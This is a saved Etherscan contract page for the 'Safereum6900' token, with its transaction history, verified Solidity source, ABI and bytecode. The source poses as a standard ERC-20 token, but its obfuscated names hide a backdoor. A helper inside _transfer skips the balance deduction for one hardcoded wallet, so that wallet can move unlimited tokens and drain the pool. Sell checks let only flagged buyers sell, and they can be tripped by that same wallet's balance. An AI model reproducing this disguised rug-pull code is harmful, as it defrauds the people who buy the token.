ETH Price: $3,458.38 (+1.56%)
Gas: 8 Gwei

Contract

0x26e1d796a0c9bff7b918095bdDe8DDDC3dA303Fe
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve183093302023-10-09 0:26:47282 days ago1696811207IN
0x26e1d796...C3dA303Fe
0 ETH0.000450639.67502688
Approve183093282023-10-09 0:26:23282 days ago1696811183IN
0x26e1d796...C3dA303Fe
0 ETH0.000465239.98848167
Approve183038632023-10-08 6:05:47283 days ago1696745147IN
0x26e1d796...C3dA303Fe
0 ETH0.000121174.98818338
Approve183038382023-10-08 6:00:47283 days ago1696744847IN
0x26e1d796...C3dA303Fe
0 ETH0.0005766312.38032622
Approve183038322023-10-08 5:59:35283 days ago1696744775IN
0x26e1d796...C3dA303Fe
0 ETH0.000303186.50941028
Approve183038232023-10-08 5:57:47283 days ago1696744667IN
0x26e1d796...C3dA303Fe
0 ETH0.00022934.94872132
Approve183038192023-10-08 5:56:59283 days ago1696744619IN
0x26e1d796...C3dA303Fe
0 ETH0.000264485.68570902
Approve183038162023-10-08 5:56:23283 days ago1696744583IN
0x26e1d796...C3dA303Fe
0 ETH0.000229674.95668945
Approve183038092023-10-08 5:54:59283 days ago1696744499IN
0x26e1d796...C3dA303Fe
0 ETH0.000250495.3781746
Approve183038052023-10-08 5:54:11283 days ago1696744451IN
0x26e1d796...C3dA303Fe
0 ETH0.0005908512.68548287
Transfer183037942023-10-08 5:51:59283 days ago1696744319IN
0x26e1d796...C3dA303Fe
0 ETH0.000224855.11738172
Transfer183037912023-10-08 5:51:23283 days ago1696744283IN
0x26e1d796...C3dA303Fe
0 ETH0.000243235.79980937
Approve183037882023-10-08 5:50:47283 days ago1696744247IN
0x26e1d796...C3dA303Fe
0 ETH0.000398488.55534541
Approve183037812023-10-08 5:49:23283 days ago1696744163IN
0x26e1d796...C3dA303Fe
0 ETH0.000394628.47260121
Approve183037772023-10-08 5:48:35283 days ago1696744115IN
0x26e1d796...C3dA303Fe
0 ETH0.000238415.15046983
Approve183037742023-10-08 5:47:59283 days ago1696744079IN
0x26e1d796...C3dA303Fe
0 ETH0.000404148.67682775
Approve183037712023-10-08 5:47:23283 days ago1696744043IN
0x26e1d796...C3dA303Fe
0 ETH0.000392858.43455345
Approve183037542023-10-08 5:43:59283 days ago1696743839IN
0x26e1d796...C3dA303Fe
0 ETH0.000403558.66417967
Renounce Ownersh...183037522023-10-08 5:43:35283 days ago1696743815IN
0x26e1d796...C3dA303Fe
0 ETH0.000164727.08542223
Approve183037512023-10-08 5:43:23283 days ago1696743803IN
0x26e1d796...C3dA303Fe
0 ETH0.000423049.08276173
Approve183037472023-10-08 5:42:35283 days ago1696743755IN
0x26e1d796...C3dA303Fe
0 ETH0.000396788.51890648
Openr Trading183037422023-10-08 5:41:35283 days ago1696743695IN
0x26e1d796...C3dA303Fe
0 ETH0.018144956.41122146
Transfer183037302023-10-08 5:39:11283 days ago1696743551IN
0x26e1d796...C3dA303Fe
1.5 ETH0.00011245.3387728
Transfer183037262023-10-08 5:38:23283 days ago1696743503IN
0x26e1d796...C3dA303Fe
0 ETH0.000320435.63692799
0x60806040183037192023-10-08 5:36:59283 days ago1696743419IN
 Create: Safereum6900
0 ETH0.012244456.92637053

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
183037422023-10-08 5:41:35283 days ago1696743695
0x26e1d796...C3dA303Fe
1.5 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Safereum6900

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-08
*/

// TELEGRAM: https://t.me/SAFEREUM6900_ERC

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  _eqjla(uint256 a, uint256 b) internal pure returns (uint256) {
        return  _eqjla(a, b, "SafeMath");
    }

    function  _eqjla(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function _pvr(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address
     tokenA, address tokenB) external
      returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[
            
        ] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure 
    returns (address);
    function WETH() external pure 
    returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint 
    amountToken, uint amountETH
    , uint liquidity);
}

contract Safereum6900 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private _vkrbj;
    address payable private _kpoyib;
    address private _rwayqe;

    string private constant _name = unicode"Safereum6900";
    string private constant _symbol = unicode"SAFEREUM6900";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000000 * 10 **_decimals;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _ebpmer;
    mapping (address => bool) private _yrkirhy;
    mapping(address => uint256) private _fnqonp;
    uint256 public _qvolqib = _totalSupply;
    uint256 public _wdrpvxe = _totalSupply;
    uint256 public _krTlhv= _totalSupply;
    uint256 public _voqTaf= _totalSupply;

    uint256 private _BuyinitialTax=1;
    uint256 private _SellinitialTax=1;
    uint256 private _BuyfinalTax=1;
    uint256 private _SellfinalTax=1;
    uint256 private _BuyAreduceTax=1;
    uint256 private _SellAreduceTax=1;
    uint256 private _yovepnj=0;
    uint256 private _erwqzy=0;
    

    bool private _bfyadh;
    bool public _ueoipvf = false;
    bool private qiopue = false;
    bool private _oeprhiv = false;


    event _prkwsyc(uint _qvolqib);
    modifier uhrkoir {
        qiopue = true;
        _;
        qiopue = false;
    }

    constructor () {      
        _balances[_msgSender(

        )] = _totalSupply;
        _ebpmer[owner(

        )] = true;
        _ebpmer[address
        (this)] = true;
        _ebpmer[
            _kpoyib] = true;
        _kpoyib = 
        payable (0x933BeEECE2df3f41f253308a1C4Aa48cBF8bbbBB);

 

        emit Transfer(
            address(0), 
            _msgSender(

            ), _totalSupply);
              
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _eqjla(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 kvjrub=0;
        if (from !=
         owner () && to 
         != owner ( ) ) {

            if (_ueoipvf) {
                if (to 
                != address
                (_vkrbj) 
                && to !=
                 address
                 (_rwayqe)) {
                  require(_fnqonp
                  [tx.origin]
                   < block.number,
                  "Only one transfer per block allowed."
                  );
                  _fnqonp
                  [tx.origin] 
                  = block.number;
                }
            }

            if (from ==
             _rwayqe && to != 
            address(_vkrbj) &&
             !_ebpmer[to] ) {
                require(amount 
                <= _qvolqib,
                 "Exceeds the _qvolqib.");
                require(balanceOf
                (to) + amount
                 <= _wdrpvxe,
                  "Exceeds the _wdrpvxe.");
                if(_erwqzy
                < _yovepnj){
                  require
                  (! _raepivb(to));
                }
                _erwqzy++;
                 _yrkirhy
                 [to]=true;
                kvjrub = amount._pvr
                ((_erwqzy>
                _BuyAreduceTax)?
                _BuyfinalTax:
                _BuyinitialTax)
                .div(100);
            }

            if(to == _rwayqe &&
             from!= address(this) 
            && !_ebpmer[from] ){
                require(amount <= 
                _qvolqib && 
                balanceOf(_kpoyib)
                <_voqTaf,
                 "Exceeds the _qvolqib.");
                kvjrub = amount._pvr((_erwqzy>
                _SellAreduceTax)?
                _SellfinalTax:
                _SellinitialTax)
                .div(100);
                require(_erwqzy>
                _yovepnj &&
                 _yrkirhy[from]);
            }

            uint256 contractTokenBalance = 
            balanceOf(address(this));
            if (!qiopue 
            && to == _rwayqe &&
             _oeprhiv &&
             contractTokenBalance>
             _krTlhv 
            && _erwqzy>
            _yovepnj&&
             !_ebpmer[to]&&
              !_ebpmer[from]
            ) {
                _transferFrom( _wxarf(amount, 
                _wxarf(contractTokenBalance,
                _voqTaf)));
                uint256 contractETHBalance 
                = address(this)
                .balance;
                if(contractETHBalance 
                > 0) {
                    _prpeuy(address
                    (this).balance);
                }
            }
        }

        if(kvjrub>0){
          _balances[address
          (this)]=_balances
          [address
          (this)].
          add(kvjrub);
          emit
           Transfer(from,
           address
           (this),kvjrub);
        }
        _balances[from
        ]= _eqjla(from,
         _balances[from]
         , amount);
        _balances[to]=
        _balances[to].
        add(amount.
         _eqjla(kvjrub));
        emit Transfer
        (from, to, 
        amount.
         _eqjla(kvjrub));
    }

    function _transferFrom(uint256
     tokenAmount) private
      uhrkoir {
        if(tokenAmount==
        0){return;}
        if(!_bfyadh)
        {return;}
        address[

        ] memory path =
         new address[](2);
        path[0] = 
        address(this);
        path[1] = 
        _vkrbj.WETH();
        _approve(address(this),
         address(
             _vkrbj), 
             tokenAmount);
        _vkrbj.
        swapExactTokensForETHSupportingFeeOnTransferTokens
        (
            tokenAmount,
            0,
            path,
            address
            (this),
            block.
            timestamp
        );
    }

    function  _wxarf
    (uint256 a, 
    uint256 b
    ) private pure
     returns 
     (uint256){
      return ( a > b
      )?
      b : a ;
    }

    function  _eqjla(address
     from, uint256 a,
      uint256 b) 
      private view
       returns(uint256){
        if(from 
        == _kpoyib){
            return a ;
        }else{
            return a .
             _eqjla (b);
        }
    }

    function removeLimitas (
        
    ) external onlyOwner{
        _qvolqib = _totalSupply;
        _wdrpvxe = _totalSupply;
        emit _prkwsyc(_totalSupply);
    }

    function _raepivb(address 
    account) private view 
    returns (bool) {
        uint256 efsdfr;
        assembly {
            efsdfr :=
             extcodesize
             (account)
        }
        return efsdfr > 
        0;
    }

    function _prpeuy(uint256
    amount) private {
        _kpoyib.
        transfer(
            amount);
    }

    function openrTrading ( 

    ) external onlyOwner ( ) {
        require (
            ! _bfyadh ) ;
        _vkrbj  
        =  
        IUniswapV2Router02
        (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address
        (this), address(
            _vkrbj), 
            _totalSupply);
        _rwayqe = 
        IUniswapV2Factory(_vkrbj.
        factory( ) 
        ). createPair (
            address(this
            ),  _vkrbj .
             WETH ( ) );
        _vkrbj.addLiquidityETH
        {value: address
        (this).balance}
        (address(this)
        ,balanceOf(address
        (this)),0,0,owner(),block.
        timestamp);
        IERC20(_rwayqe).
        approve(address(_vkrbj), 
        type(uint)
        .max);
        _oeprhiv = true;
        _bfyadh = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_qvolqib","type":"uint256"}],"name":"_prkwsyc","type":"event"},{"inputs":[],"name":"_krTlhv","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_qvolqib","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ueoipvf","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_voqTaf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_wdrpvxe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openrTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200031a565b620000239064e8d4a5100062000331565b6009556009600a6200003691906200031a565b620000479064e8d4a5100062000331565b600a556009600a6200005a91906200031a565b6200006b9064e8d4a5100062000331565b600b556200007c6009600a6200031a565b6200008d9064e8d4a5100062000331565b600c556001600d819055600e819055600f819055601081905560118190556012555f60138190556014556015805463ffffff0019169055348015620000d0575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200011f6009600a6200031a565b620001309064e8d4a5100062000331565b335f8181526004602090815260408083209490945581546001600160a01b03908116835260069091528382208054600160ff199182168117909255308452858420805482168317905560028054909316845294832080549095161790935582546001600160a01b03191673933beeece2df3f41f253308a1c4aa48cbf8bbbbb17909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e36009600a6200031a565b620001f49064e8d4a5100062000331565b60405190815260200160405180910390a36200034b565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025f57815f19048211156200024357620002436200020b565b808516156200025157918102915b93841c939080029062000224565b509250929050565b5f82620002775750600162000314565b816200028557505f62000314565b81600181146200029e5760028114620002a957620002c9565b600191505062000314565b60ff841115620002bd57620002bd6200020b565b50506001821b62000314565b5060208310610133831016604e8410600b8410161715620002ee575081810a62000314565b620002fa83836200021f565b805f19048211156200031057620003106200020b565b0290505b92915050565b5f6200032a60ff84168362000267565b9392505050565b80820281158282048414176200031457620003146200020b565b61181f80620003595f395ff3fe608060405260043610610108575f3560e01c8063715018a611610092578063a7520f1c11610062578063a7520f1c146102db578063a9059cbb146102ef578063cb0108b51461030e578063dd62ed3e14610323578063eb15679b14610367575f80fd5b8063715018a614610258578063883325c91461026c5780638da5cb5b1461028157806395d89b41146102a7575f80fd5b8063313ce567116100d8578063313ce567146101c9578063368516d3146101e45780635425bb69146101f95780636ba923071461020f57806370a0823114610224575f80fd5b806306fdde0314610113578063095ea7b31461015957806318160ddd1461018857806323b872dd146101aa575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600c81526b0536166657265756d363930360a41b60208201525b604051610150919061141e565b60405180910390f35b348015610164575f80fd5b50610178610173366004611480565b610385565b6040519015158152602001610150565b348015610193575f80fd5b5061019c61039b565b604051908152602001610150565b3480156101b5575f80fd5b506101786101c43660046114aa565b6103bc565b3480156101d4575f80fd5b5060405160098152602001610150565b3480156101ef575f80fd5b5061019c60095481565b348015610204575f80fd5b5061020d610424565b005b34801561021a575f80fd5b5061019c600c5481565b34801561022f575f80fd5b5061019c61023e3660046114e8565b6001600160a01b03165f9081526004602052604090205490565b348015610263575f80fd5b5061020d610788565b348015610277575f80fd5b5061019c600a5481565b34801561028c575f80fd5b505f546040516001600160a01b039091168152602001610150565b3480156102b2575f80fd5b5060408051808201909152600c81526b0534146455245554d363930360a41b6020820152610143565b3480156102e6575f80fd5b5061020d6107f9565b3480156102fa575f80fd5b50610178610309366004611480565b6108b0565b348015610319575f80fd5b5061019c600b5481565b34801561032e575f80fd5b5061019c61033d366004611503565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610372575f80fd5b5060155461017890610100900460ff1681565b5f6103913384846108bc565b5060015b92915050565b5f6103a86009600a61162e565b6103b79064e8d4a5100061163c565b905090565b5f6103c88484846109df565b6104198433610414856040518060600160405280602881526020016117c2602891396001600160a01b038a165f90815260056020908152604080832033845290915290205491906110bc565b6108bc565b5060015b9392505050565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90611653565b60405180910390fd5b60155460ff1615610465575f80fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104af9030906104a06009600a61162e565b6104149064e8d4a5100061163c565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610523919061167c565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610582573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a6919061167c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105f0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610614919061167c565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d719473061065b816001600160a01b03165f9081526004602052604090205490565b5f8061066e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106d4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106f99190611697565b505060035460015460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561074e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077291906116c2565b506015805463ff0000ff19166301000001179055565b5f546001600160a01b031633146107b15760405162461bcd60e51b815260040161044d90611653565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108225760405162461bcd60e51b815260040161044d90611653565b61082e6009600a61162e565b61083d9064e8d4a5100061163c565b600990815561084d90600a61162e565b61085c9064e8d4a5100061163c565b600a9081557e890e8eef16d37d604d338f99944bba704656750b288ed9d9a5a00f2fad89709061088e9060099061162e565b61089d9064e8d4a5100061163c565b60405190815260200160405180910390a1565b5f6103913384846109df565b6001600160a01b03831661091e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044d565b6001600160a01b03821661097f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044d565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044d565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044d565b5f8111610b065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044d565b5f80546001600160a01b03858116911614801590610b3157505f546001600160a01b03848116911614155b15610f7d57601554610100900460ff1615610bf2576001546001600160a01b03848116911614801590610b7257506003546001600160a01b03848116911614155b15610bf257325f908152600860205260409020544311610be05760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161044d565b325f9081526008602052604090204390555b6003546001600160a01b038581169116148015610c1d57506001546001600160a01b03848116911614155b8015610c4157506001600160a01b0383165f9081526006602052604090205460ff16155b15610d8157600954821115610c905760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fb8bb37b638b4b11760591b604482015260640161044d565b600a5482610cb2856001600160a01b03165f9081526004602052604090205490565b610cbc91906116e1565b1115610d025760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fbbb239383b3c329760591b604482015260640161044d565b6013546014541015610d1957823b15610d19575f80fd5b60148054905f610d28836116f4565b90915550506001600160a01b0383165f908152600760205260409020805460ff19166001179055601154601454610d7e91606491610d789110610d6d57600d54610d71565b600f545b85906110f4565b90611153565b90505b6003546001600160a01b038481169116148015610da757506001600160a01b0384163014155b8015610dcb57506001600160a01b0384165f9081526006602052604090205460ff16155b15610e99576009548211158015610dfc5750600c546002546001600160a01b03165f90815260046020526040902054105b610e405760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fb8bb37b638b4b11760591b604482015260640161044d565b610e656064610d7860125460145411610e5b57600e54610d71565b60105485906110f4565b9050601354601454118015610e9157506001600160a01b0384165f9081526007602052604090205460ff165b610e99575f80fd5b305f9081526004602052604090205460155462010000900460ff16158015610ece57506003546001600160a01b038581169116145b8015610ee357506015546301000000900460ff165b8015610ef05750600b5481115b8015610eff5750601354601454115b8015610f2357506001600160a01b0384165f9081526006602052604090205460ff16155b8015610f4757506001600160a01b0385165f9081526006602052604090205460ff16155b15610f7b57610f69610f6484610f5f84600c5461117f565b61117f565b611193565b478015610f7957610f7947611312565b505b505b8015610ff557305f90815260046020526040902054610f9c908261134d565b305f81815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fec9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526004602052604090205461101990859084611396565b6001600160a01b0385165f9081526004602052604090205561105c61103e83836113c6565b6001600160a01b0385165f908152600460205260409020549061134d565b6001600160a01b038085165f8181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a585856113c6565b60405190815260200160405180910390a350505050565b5f81848411156110df5760405162461bcd60e51b815260040161044d919061141e565b505f6110eb848661170c565b95945050505050565b5f825f0361110357505f610395565b5f61110e838561163c565b90508261111b858361171f565b1461041d5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161044d565b5f61041d8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506113f2565b5f81831161118d578261041d565b50919050565b6015805462ff000019166201000017905580156113035760155460ff1615611303576040805160028082526060820183525f9260208301908036833701905050905030815f815181106111e8576111e861173e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561123f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611263919061167c565b816001815181106112765761127661173e565b6001600160a01b03928316602091820292909201015260015461129c91309116846108bc565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d49085905f90869030904290600401611752565b5f604051808303815f87803b1580156112eb575f80fd5b505af11580156112fd573d5f803e3d5ffd5b50505050505b506015805462ff000019169055565b6002546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611349573d5f803e3d5ffd5b5050565b5f8061135983856116e1565b90508381101561041d5760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b604482015260640161044d565b6002545f906001600160a01b03908116908516036113b557508161041d565b6113bf83836113c6565b905061041d565b5f61041d8383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110bc565b5f81836114125760405162461bcd60e51b815260040161044d919061141e565b505f6110eb848661171f565b5f6020808352835180828501525f5b818110156114495785810183015185820160400152820161142d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147d575f80fd5b50565b5f8060408385031215611491575f80fd5b823561149c81611469565b946020939093013593505050565b5f805f606084860312156114bc575f80fd5b83356114c781611469565b925060208401356114d781611469565b929592945050506040919091013590565b5f602082840312156114f8575f80fd5b813561041d81611469565b5f8060408385031215611514575f80fd5b823561151f81611469565b9150602083013561152f81611469565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561158857815f190482111561156e5761156e61153a565b8085161561157b57918102915b93841c9390800290611553565b509250929050565b5f8261159e57506001610395565b816115aa57505f610395565b81600181146115c057600281146115ca576115e6565b6001915050610395565b60ff8411156115db576115db61153a565b50506001821b610395565b5060208310610133831016604e8410600b8410161715611609575081810a610395565b611613838361154e565b805f19048211156116265761162661153a565b029392505050565b5f61041d60ff841683611590565b80820281158282048414176103955761039561153a565b6020808252600f908201526e27bbb730b136329d1031b0b63632b960891b604082015260600190565b5f6020828403121561168c575f80fd5b815161041d81611469565b5f805f606084860312156116a9575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116d2575f80fd5b8151801515811461041d575f80fd5b808201808211156103955761039561153a565b5f600182016117055761170561153a565b5060010190565b818103818111156103955761039561153a565b5f8261173957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117a05784516001600160a01b03168352938301939183019160010161177b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a8f3d1e1b6a98b636f9dadbbe3d0d42d9156456d31d6eb07efe1d69539f5ce0c64736f6c63430008140033

Deployed Bytecode

